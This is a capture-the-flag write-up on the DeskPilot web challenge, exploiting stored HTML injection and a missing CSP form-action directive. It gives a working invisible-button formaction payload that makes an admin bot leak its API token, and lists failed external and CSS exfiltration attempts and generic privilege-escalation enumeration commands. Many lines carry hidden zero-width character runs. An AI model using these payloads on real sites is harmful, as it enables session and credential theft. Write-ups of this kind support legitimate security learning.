← Back to Writeups
HTBN/AWeb

DeskPilot — Stored XSS via Form Hijacking (CSP Bypass)

XESXOR8/23/20266 min read
#web#htb#n/a

DeskPilot — Stored XSS via Form Hijacking (CSP Bypass)

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-17 | Status: Solved Techniques: admin_bot_click_exploitation, csp_form_action_directive_bypass, form_hijacking_via_formaction_attribute, invisible_button_overlay, same_origin_data_exfiltration, stored_html_injection_in_form_context

Summary

Task: Customer support platform renders HTML ticket descriptions unescaped inside a reply form containing admin's API token; CSP blocks scripts but lacks form-action directive. Solution: Inject invisible submit button with formaction attribute to hijack form submission, exfiltrating admin token to a same-origin endpoint.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260517_hackadvisor_deskpilot
  • Tags: nodejs, xss, stored_xss, express, html_injection, admin_bot, csp_bypass, form_hijacking, formaction, api_token_exfiltration
  • Indicators: HTML rendered unescaped inside a <form> element, CSP missing form-action directive, Hidden input with sensitive token inside form, Admin bot reviews user-submitted content, HTML formatting explicitly allowed in user input
  • Source: 20260517_hackadvisor_deskpilot.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_click_exploitation
  2. Csp_form_action_directive_bypass
  3. Form_hijacking_via_formaction_attribute
  4. Invisible_button_overlay
  5. Same_origin_data_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_click_exploitation
  • csp_form_action_directive_bypass
  • form_hijacking_via_formaction_attribute
  • invisible_button_overlay
  • same_origin_data_exfiltration
  • stored_html_injection_in_form_context
  • Tags: nodejs, xss, stored_xss, express, html_injection, admin_bot, csp_bypass, form_hijacking, formaction, api_token_exfiltration

Original Writeup

<details><summary>Click to expand original content</summary>

Description

You are testing DeskPilot, a customer support platform built by PilotDesk Inc. The application allows users to submit support tickets and agents respond through a web interface. The development team has implemented Content Security Policy headers to protect against common injection attacks.

Your goal is to find a way to exfiltrate the admin's secret API token. Pay close attention to what the CSP does and does not restrict, and examine how the ticket detail page renders content alongside the agent reply form. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

A Node.js/Express customer support ticketing system. Users create tickets with HTML-formatted descriptions. Admins review tickets via a page that includes a reply form with a hidden api_token field. An admin bot automatically reviews new tickets every 15 seconds. The goal is to exfiltrate the admin's API token (the flag).

Credentials: user@test.com / password123

Analysis

Application Structure

After logging in, the dashboard shows a ticket management system. Key observations:

  1. Ticket creation explicitly states: "The description field supports HTML formatting for rich text."
  2. Ticket detail page (/tickets/:id) renders the ticket description as raw unescaped HTML.
  3. The critical detail: the description is rendered inside the reply <form> element, which contains the admin's API token as a hidden field. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The reply form structure on the ticket detail page:

<form method="POST" action="/tickets/8/reply" id="replyForm">
  <input type="hidden" name="api_token" value="ADMIN_SECRET_TOKEN">
  <div class="dp-ticket-description">
    <!-- USER HTML RENDERED HERE — UNESCAPED -->
  </div>
  <div class="dp-comments-section">...</div>
  <div class="dp-reply-section">
    <textarea name="reply_content" rows="4"></textarea>
    <button type="submit">Send Reply</button>
  </div>
</form>

The user's own API token is visible on /profile. The admin has a different (secret) token — the flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

CSP Analysis

The Content-Security-Policy header:

default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src * data:;
font-src 'self';
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
frame-ancestors 'self'

What CSP blocks:

  • Inline JavaScript (script-src 'self') — no <script>, no onerror, no event handlers
  • External script loading
  • Frames, objects (frame-src 'none', object-src 'none')
  • Fetch/XHR to external origins (connect-src 'self') ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Critical weakness — form-action is missing:

Unlike most other directives, form-action does NOT fall back to default-src 'self'. Per the CSP specification, when form-action is absent, form submissions are unrestricted — they can target any URL, including external origins or arbitrary same-origin endpoints. This is a commonly overlooked CSP gap.

Attack Vector: HTML5 formaction Attribute

The HTML5 formaction attribute on <button type="submit"> or <input type="submit"> overrides the parent <form>'s action attribute. Since: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  1. The ticket description renders raw HTML inside the reply form
  2. The form contains the admin's api_token as a hidden field
  3. CSP has no form-action restriction

We can inject a submit button with formaction pointing to a controlled endpoint, hijacking the form submission to exfiltrate the token.

API Endpoints

From /js/ticket-detail.js:

  • POST /api/tickets/:id/status — update ticket status
  • POST /api/tickets/:id/comments — add comment
  • GET /api/tickets/:id/comments — retrieve comments
  • POST /tickets/:id/reply — submit reply (includes api_token and reply_content) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Create a Receiver Ticket

Create a normal ticket that will receive the exfiltrated data as a reply/comment:

POST /tickets/new
Content-Type: application/x-www-form-urlencoded

subject=Placeholder+for+form+hijack&category=general&priority=medium&description=placeholder

This creates ticket #21 (the receiver).

Step 2: Create the Attack Ticket with Form Hijacking Payload

Create a second ticket with an injected invisible submit button:

POST /tickets/new
Content-Type: application/x-www-form-urlencoded
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

subject=Need+help+with+formatting&category=general&priority=medium&description=<button type="submit" formaction="/tickets/21/reply" style="position:fixed;top:0;left:0;width:100%;height:100%;opacity:0;z-index:99999;border:none;background:transparent;"></button>

The payload:

<button type="submit"
        formaction="/tickets/21/reply"
        style="position:fixed;top:0;left:0;width:100%;height:100%;opacity:0;z-index:99999;border:none;background:transparent;">
</button>

This creates an invisible button covering the entire viewport:

  • position:fixed; top:0; left:0; width:100%; height:100% — covers the full page
  • opacity:0 — completely invisible
  • z-index:99999 — sits above all other elements
  • formaction="/tickets/21/reply" — redirects form submission to the receiver ticket ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Wait for Admin Bot

The admin bot reviews new tickets every ~15 seconds. When it visits the attack ticket and interacts with the page, the invisible button intercepts the click and submits the reply form — including the hidden api_token field — to /tickets/21/reply.

Step 4: Retrieve the Exfiltrated Token

Check the receiver ticket's comments:

GET /api/tickets/21/comments

Response:

{
  "ticket_id": "21",
  "comments": [
    {
      "id": 18,
      "content": "[Token submitted: FLAG{REDACTED}]",
      "created_at": "2026-05-17T07:24:14.198Z",
      "author": "Admin"
    }
  ]
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The admin's API token — the flag — is exfiltrated via same-origin form submission.

What Didn't Work

  1. External formaction to interaction server: Pointed formaction to http://interact-server/UUID/steal. Requests arrived at the interaction server but query parameters weren't visible in the log display. Cross-origin form submissions may also have been blocked.

  2. CSS attribute selector exfiltration: Tried input[name="api_token"][value^="X"] ~ div { background-image: url(...) } to leak the token character by character. The <style> tag rendered but background-image requests never fired — likely because browsers don't apply sibling selectors reliably for hidden inputs. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  3. formmethod="GET" to external URLs: Similar to attempt #1 — requests arrived but without visible form data in query strings.

Key insight: Same-origin exfiltration is far more reliable than cross-origin when CSP restricts external connections. Redirecting form data to another endpoint on the same application avoids all cross-origin issues. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR